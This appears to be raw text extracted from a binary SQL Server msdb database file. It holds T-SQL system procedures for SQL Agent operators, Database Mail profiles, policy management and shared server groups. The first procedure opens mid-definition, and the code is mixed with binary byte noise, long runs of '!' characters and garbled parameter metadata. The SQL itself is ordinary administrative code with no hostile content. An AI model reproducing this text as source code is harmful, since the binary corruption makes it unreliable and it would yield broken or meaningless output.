    @server_type INT
AS
BEGIN
    IF (@server_type IS NULL)
    BEGIN
        RAISERROR (35009, -1, -1)
        RETURN(1)
    END
    
    -- 0 --> DatabaseEngineServerGroup, 1 --> AnalysisServicesServerGroup, 2 --> ReportingServicesServerGroup, 3 --> IntegrationServicesServerGroup, 4 --> SqlServerCompactEditionServerGroup
    IF (@server_type < 0 OR @server_type > 4)
    BEGIN
        RAISERROR (35010, -1, -1, @server_type)
        RETURN (1)
    END
    
    RETURN (0)
END
0o 8CREATE PROC [dbo].[sp_syspolicy_delete_policy_execution_history] 
 @policy_id int,
 @oldest_date datetime
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

    IF @oldest_date IS NULL
        BEGIN
        IF (@policy_id IS NULL)
            DELETE syspolicy_policy_execution_history_internal
        ELSE
            DELETE syspolicy_policy_execution_history_internal WHERE policy_id = @policy_id
        END
    ELSE
        BEGIN
        IF (@policy_id IS NULL)
            DELETE syspolicy_policy_execution_history_internal WHERE start_date < @oldest_date
        ELSE
            DELETE syspolicy_policy_execution_history_internal WHERE policy_id = @policy_id AND start_date < @oldest_date
        END
END
0܆o '8((0.0))0p '8((0.0))0|jo %8((0))0^p %8((0))-- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![
ErG0t `<<M 0p 8CREATE PROCEDURE sp_help_operator
  @operator_name sysname = NULL,
  @operator_id   INT     = NULL
AS
BEGIN
  DECLARE @operator_id_as_char VARCHAR(10)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @operator_name = LTRIM(RTRIM(@operator_name))
  IF (@operator_name = '') SELECT @operator_name = NULL

  -- Check operator name
  IF (@operator_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysoperators
                    WHERE (name = @operator_name)))
    BEGIN
      RAISERROR(14262, -1, -1, '@operator_name', @operator_name)
      RETURN(1) -- Failure
    END
  END

  -- Check operator id
  IF (@operator_id IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysoperators
                    WHERE (id = @operator_id)))
    BEGIN
      SELECT @operator_id_as_char = CONVERT(VARCHAR, @operator_id)
      RAISERROR(14262, -1, -1, '@operator_id', @operator_id_as_char)
      RETURN(1) -- Failure
    END
  END

  SELECT so.id,
         so.name,
         so.enabled,
         so.email_address,
         so.last_email_date,
         so.last_email_time,
         so.pager_address,
         so.last_pager_date,
         so.last_pager_time,
         so.weekday_pager_start_time,
         so.weekday_pager_end_time,
         so.saturday_pager_start_time,
         so.saturday_pager_end_time,
         so.sunday_pager_start_time,
         so.sunday_pager_end_time,
         so.pager_days,
         so.netsend_address,
         so.last_netsend_date,
         so.last_netsend_time,
         category_name = sc.name
  FROM msdb.dbo.sysoperators                  so
       LEFT OUTER JOIN msdb.dbo.syscategories sc ON (so.category_id = sc.category_id)
  WHERE ((@operator_name IS NULL) OR (so.name = @operator_name))
    AND ((@operator_id IS NULL) OR (so.id = @operator_id))
  ORDER BY so.name

  RETURN(@@error) -- 0 means success
END
0p@ 8
CREATE FUNCTION agent_datetime(@date int, @time int)
RETURNS DATETIME
AS
BEGIN
 RETURN
  (
    CONVERT(DATETIME,
          CONVERT(NVARCHAR(4),@date / 10000) + N'-' + 
          CONVERT(NVARCHAR(2),(@date % 10000)/100)  + N'-' +
          CONVERT(NVARCHAR(2),@date % 100) + N' ' +        
          CONVERT(NVARCHAR(2),@time / 10000) + N':' +        
          CONVERT(NVARCHAR(2),(@time % 10000)/100) + N':' +        
          CONVERT(NVARCHAR(2),@time % 100),
    120)
  )
END
0gq I8
CREATE PROCEDURE dbo.sysmail_update_principalprofile_sp
   @principal_id int = NULL, -- must provide id or name
   @principal_name sysname = NULL,
   @profile_id int = NULL, -- must provide id or name
   @profile_name sysname = NULL,
   @is_default bit
AS
   SET NOCOUNT ON

   DECLARE @rc int
   DECLARE @principal_sid varbinary(85)
   DECLARE @profileid int

   IF (@principal_id IS NOT NULL AND @principal_id = 0) OR (@principal_name IS NOT NULL AND @principal_name = N'public')
   BEGIN
      IF (@principal_id IS NOT NULL AND @principal_id <> 0) OR (@principal_name IS NOT NULL AND @principal_name <> N'public')
      BEGIN
         RAISERROR(14605, -1, -1, 'principal')  -- id and name do not match
      END
      SET @principal_sid = 0x00 -- public
   END
   ELSE
   BEGIN
      exec @rc = msdb.dbo.sysmail_verify_principal_sp @principal_id, @principal_name, 0, @principal_sid OUTPUT
      IF @rc <> 0
         RETURN(1)
   END
   
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(2)

   UPDATE msdb.dbo.sysmail_principalprofile
   SET is_default=@is_default
   WHERE principal_sid = @principal_sid AND profile_id = @profileid

   IF (@is_default IS NOT NULL AND @is_default = 1)
   BEGIN
      -- a principal can only have one default profile so reset others (if there are any)
      UPDATE msdb.dbo.sysmail_principalprofile
      SET is_default=0
      WHERE principal_sid = @principal_sid AND profile_id <> @profileid
   END

   RETURN(0)
0ip 8CREATE PROCEDURE [dbo].[sp_sysmanagement_add_shared_server_group]
    @name sysname,
    @description NVARCHAR (2048) = N'',
    @parent_id INT,
    @server_type INT,
    @server_group_id INT OUTPUT
AS
BEGIN
    DECLARE @retval INT

    EXECUTE @retval = sp_sysmanagement_verify_shared_server_type @server_type

    IF (@retval <> 0)
        RETURN(1) -- Failure
    
    -- user created server groups should have a valid parent 
    IF( (@parent_id IS NULL) OR 
        (@parent_id NOT IN (SELECT sg.server_group_id FROM msdb.dbo.sysmanagement_shared_server_groups_internal sg)))
    BEGIN
        RAISERROR (35001, -1, -1)
        RETURN (1)
    END

    IF EXISTS (SELECT * FROM [msdb].[dbo].[sysmanagement_shared_server_groups_internal]  sg 
                WHERE @parent_id = sg.server_group_id AND @server_type <> sg.server_type)
    BEGIN
        RAISERROR (35002, -1, -1)
        RETURN (1)
    END    
    
    INSERT INTO [msdb].[dbo].[sysmanagement_shared_server_groups_internal]
        (name, description, parent_id, server_type)
    VALUES
        (
        @name, 
        @description, 
        @parent_id, 
        @server_type
        )

    SELECT @server_group_id = SCOPE_IDENTITY()
    RETURN (0)
END
0?p .8CREATE PROC dbo.sp_syspolicy_mark_system @type sysname, @name sysname=NULL, @object_id int=NULL, @marker bit=NULL 
AS
BEGIN
	-- If @marker IS NULL simple return the state

    DECLARE @retval_check int;
    EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
    IF ( 0!= @retval_check)
    BEGIN
        RETURN @retval_check
    END

	DECLARE @retval int
	
	IF (UPPER(@type  collate SQL_Latin1_General_CP1_CS_AS) = N'POLICY')
	BEGIN
	    EXEC @retval = sp_syspolicy_verify_policy_identifiers @name, @object_id OUTPUT
		IF (@retval <> 0)
			RETURN (1)

		IF @marker IS NULL
		BEGIN
			SELECT policy_id, name, is_system FROM syspolicy_policies_internal WHERE policy_id = @object_id
		END
		ELSE
		BEGIN
			UPDATE msdb.dbo.syspolicy_policies_internal
			SET is_system = @marker 
			WHERE policy_id = @object_id
		END
	END
	ELSE IF (UPPER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'CONDITION')
	BEGIN
	    EXEC @retval = sp_syspolicy_verify_condition_identifiers @name, @object_id OUTPUT
		IF (@retval <> 0)
			RETURN (1)

		IF @marker IS NULL
		BEGIN
			SELECT condition_id, name, is_system FROM syspolicy_conditions_internal WHERE condition_id = @object_id
		END
		ELSE
		BEGIN
			UPDATE msdb.dbo.syspolicy_conditions_internal
			SET is_system = @marker 
			WHERE condition_id = @object_id
		END
	END
	ELSE IF (UPPER(@type collate SQL_Latin1_General_CP1_CS_AS) = N'OBJECTSET')
	BEGIN
	    EXEC @retval = sp_syspolicy_verify_object_set_identifiers @name, @object_id OUTPUT
		IF (@retval <> 0)
			RETURN (1)

		IF @marker IS NULL
		BEGIN
			SELECT object_set_id, object_set_name, is_system FROM syspolicy_object_sets_internal WHERE object_set_id = @object_id
		END
		ELSE
		BEGIN
			UPDATE msdb.dbo.syspolicy_object_sets_internal
			SET is_system = @marker 
			WHERE object_set_id = @object_id
		END
	END
    ELSE
    BEGIN
		RAISERROR(14262, -1, -1, '@type', @type)
		RETURN(1) -- Failure
	END
	
    SELECT @retval = @@error
    RETURN(@retval)
END
0Nχq '8((0.0))0$Rq %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h
V`-G)H(,0-Xj4G@job_name0-Xj00U@raise_snmp_trap0-Xj
4a@performance_condition0-Xj4Q@category_name0-Xj4Q@wmi_namespace0-Xj4I@wmi_query!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]`-<H)IR

0-0shhm@syssubsytems_refresh_needed0-Tt<4c@name_of_name_parameter0-Tt<4_@name_of_id_parameter0-Tt4S@subsystem_name0-Tt88
O@subsystem_id0-xu4K@login_name0-xu4Y@fixed_server_role0-xu4I@msdb_role0-xu4?@name0-xuU=@sid0-xu88
A@flags0-.v88
G@proxy_id0-.v4K@proxy_name0-.v00E@enabled0-.v4M@description0-Jyt4K@alert_name0-Jyt4Q@operator_name0-Jyt00]@notification_method0-Jyt88
G@alert_id0-Jyt88
M@operator_id0-nmu4K@alert_name0-nmu4Q@operator_name0-nmu00]@notification_method0-av4K@alert_name0-av4Q@operator_name0-av00]@notification_method0-h@Dt88
K@event_type0-h@Dt4M@description0-h@Dt88
K@process_id0-h@Dt88
M@mailitem_id0-h@Dt88
K@account_id0-wZu4A@event0-wZu4G@computer0-wZu4G@operator0-wZu4C@source0-wZu$$G@sourceid0-wZu$$M@executionid0-wZu==I@starttime0-wZu==E@endtime0-wZu	88
G@datacode0-wZu
""I@databytes0-wZu4E@message0-~u$$G@folderid0-,s88
I@server_id0-MPt88
U@server_group_id0-MPt88
Q@new_parent_id0-tu88
I@server_id0-tu88
Q@new_parent_id0-v88
U@server_group_id0-v4M@description0-#FtK@event_data0-#FthhM@synchronous0-v00Astatus0-v00Epriority0-vOqueuing_order0-v$$_conversation_group_id0-v$$[conversation_handle0-vcmessage_sequence_number0-v$$Imessage_id0-v88
Smessage_type_id0-v	88
Iservice_id0-v
88
[service_contract_id0-vIvalidation0-v88
Onext_fragment0-v
88
Ofragment_size0-vSfragment_bitmap0-v@[binary_message_body0-v==]message_enqueue_time0-vQjqueuing_order0-;dtF4FQparameter_name0-;dtbbPPSparameter_value0-2`Xu88
Kobject_type0-2`Xu4@Gsfc_query!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!